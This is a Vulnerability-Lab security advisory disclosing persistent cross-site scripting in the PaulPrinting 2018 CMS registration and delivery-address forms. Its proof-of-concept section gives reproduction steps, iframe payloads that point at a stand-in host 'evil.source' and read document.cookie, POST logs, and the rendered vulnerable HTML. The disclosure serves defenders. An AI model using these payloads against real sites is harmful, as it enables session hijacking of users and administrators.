PaulPrinting CMS Cross Site Scripting

`Document Title:  
===============  
PaulPrinting CMS - Multiple Cross Site Web Vulnerabilities  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2285  
  
  
Release Date:  
=============  
2023-07-19  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2285  
  
  
Common Vulnerability Scoring System:  
====================================  
5.8  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Persistent  
  
  
Current Estimated Price:  
========================  
500€ - 1.000€  
  
  
Product & Service Introduction:  
===============================  
PaulPrinting is designed feature rich, easy to use, search engine friendly, modern design and with a visually appealing interface.  
  
(Copy of the Homepage:https://codecanyon.net/user/codepaul )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered multiple persistent cross site vulnerabilities in the PaulPrinting (v2018) cms web-application.  
  
  
Affected Product(s):  
====================  
CodePaul  
Product: PaulPrinting (2018) - CMS (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2022-08-25: Researcher Notification & Coordination (Security Researcher)  
2022-08-26: Vendor Notification (Security Department)  
2022-**-**: Vendor Response/Feedback (Security Department)  
2022-**-**: Vendor Fix/Patch (Service Developer Team)  
2022-**-**: Security Acknowledgements (Security Department)  
2023-07-19: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted Authentication (User Privileges)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Responsible Disclosure  
  
  
Technical Details & Description:  
================================  
Multiple persistent input validation vulnerabilities has been discovered in the official PaulPrinting (v2018) cms web-application.  
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser  
to web-application requests from the application-side.  
  
The first vulnerability is located in the register module. Remote attackers are able to register user account with malicious script code.  
After the registration to attacker provokes an execution of the malformed scripts on review of the settings or by user reviews of admins  
in the backend (listing).  
  
The second vulnerability is located in the delivery module. Remote attackers with low privileged user accounts are able to inject own  
malicious script code to contact details. Thus allows to perform an execute on each interaction with users or by reviews of admins in  
the backend (listing).  
  
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to  
malicious source and persistent manipulation of affected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] /printing/register  
[+] /account/delivery  
  
Vulnerable Input(s):  
[+] First name  
[+] Last name  
[+] Address  
[+] City  
[+] State  
  
Vulnerable Parameter(s):  
[+] firstname  
[+] lastname  
[+] address  
[+] city  
[+] state  
  
Affected Module(s):  
[+] Frontend Settings (./printing/account/setting)  
[+] Frontend Delivery Address (./printing/account/delivery)  
[+] Backend User Preview Listing  
[+] Backend Delivery Address Contact Review  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged user account and low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. Open your browser and start a http session tamper  
2. Register in the application by login click to register  
3. Inject to the marked vulnerable input fields your test payload  
4. Save the entry by submit via post method  
5. Login to the account and preview the settings  
Note: Administrators in the backend have the same wrong validated context that executes on preview of users  
6. The script code executes on preview of the profile - settings  
7. Successful reproduce of the first vulnerability!  
8. Followup by opening the Delivery address module  
9. Add a contact and add in the same vulnerable marked input fields your test payload  
Note: T he script code executes on each review of the address in the backend or user frontend  
10. Successful reproduce of the second vulnerability!  
  
  
Exploitation: Payload  
"<iframe src=evil.source onload(alert(document.cookie)>  
"<iframe src=evil.source onload(alert(document.domain)>  
  
  
--- PoC Session Logs (POST) ---  
https://paulprinting.localhost:8000/printing/account/setting  
Host: paulprinting.localhost:8000  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 357  
Origin:https://paulprinting.localhost:8000  
Connection: keep-alive  
Referer:https://paulprinting.localhost:8000/printing/account/setting  
Cookie: member_login=1; member_id=123; session_id=13446428fe6e202a3be0e0ce23f0e5cd;  
POST:  
title=Mr.&firstname=a"<iframe src=evil.source onload(alert(document.cookie)>>  
&lastname=b"<iframe src=evil.source onload(alert(document.cookie)>>  
&address=c"<iframe src=evil.source onload(alert(document.cookie)>>  
&city=d"<iframe src=evil.source onload(alert(document.cookie)>>  
&state=e"<iframe src=evil.source onload(alert(document.cookie)>>  
&zipcode=2342&country=BS&phone=23523515235235&save=Save  
-  
POST: HTTP/3.0 302 Found  
content-type: text/html; charset=UTF-8  
x-powered-by: PHP/7.1.33  
location:https://paulprinting.localhost:8000/printing/account/setting?save=1  
-  
https://paulprinting.localhost:8000/printing/account/setting?save=1  
Host: paulprinting.localhost:8000  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Referer:https://paulprinting.localhost:8000/printing/account/setting  
Connection: keep-alive  
Cookie: member_login=1; member_id=123; session_id=13446428fe6e202a3be0e0ce23f0e5cd;  
-  
POST: HTTP/3.0 200 OK  
content-type: text/html; charset=UTF-8  
x-powered-by: PHP/7.1.33  
  
  
Vulnerable Source: Your Account - Settings  
<div class="form-group row">  
<label class="col-sm-4 col-form-label">First name</label>  
<div class="col-sm-8">  
<input type="text" name="firsttname" class="form-control" value="a"<iframe src=evil.source onload(alert(document.cookie)>">  
</div></div>  
<label class="col-sm-4 col-form-label">Last name</label>  
<div class="col-sm-8">  
<input type="text" name="lastname" class="form-control" value="b"<iframe src=evil.source onload(alert(document.cookie)>">  
</div></div>  
<div class="form-group row">  
<label class="col-sm-4 col-form-label">Address</label>  
<div class="col-sm-8">  
<input type="text" name="address" class="form-control" value="c"<iframe src=evil.source onload(alert(document.cookie)>">  
</div></div>  
<div class="form-group row">  
<label class="col-sm-4 col-form-label">City</label>  
<div class="col-sm-8">  
<input type="text" name="city" class="form-control" value="d"<iframe src=evil.source onload(alert(document.cookie)>">  
</div></div>  
<div class="form-group row">  
<label class="col-sm-4 col-form-label">State</label>  
<div class="col-sm-8">  
<input type="text" name="state" class="form-control" value="e"<iframe src=evil.source onload(alert(document.cookie)>">  
</div></div>  
  
  
Vulnerable Source: Deliery Contact (Address)  
<table class="table">  
<thead>  
<tr>  
<th>Contact</th>  
<th>Address</th>  
<th>City</th>  
<th>State</th>  
<th>Country</th>  
<th></th>  
</tr>  
</thead>  
<tbody><tr>  
<td>a"<iframe src=evil.source onload(alert(document.cookie)></td>  
<td>b"<iframe src=evil.source onload(alert(document.cookie)></td>  
<td>c"<iframe src=evil.source onload(alert(document.cookie)></td>  
<td>d"<iframe src=evil.source onload(alert(document.cookie)></td>  
<td></td>  
<td class="text-right">  
<a href="https://paulprinting.localhost:8000/printing/account/delivery?id=10">Edit</a>|  
<a href="https://paulprinting.localhost:8000/printing/account/delivery?id=10&delete=1" onclick="return confirm('Delete')">Delete</a>  
</td></tr></tbody>  
</table>  
  
  
Security Risk:  
==============  
The security risk of the cross site scripting web vulnerabilities with persistent attack vector are estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
  
  
Disclaimer & Information:  
=========================  
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab  
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not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.  
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--   
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RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE  
  
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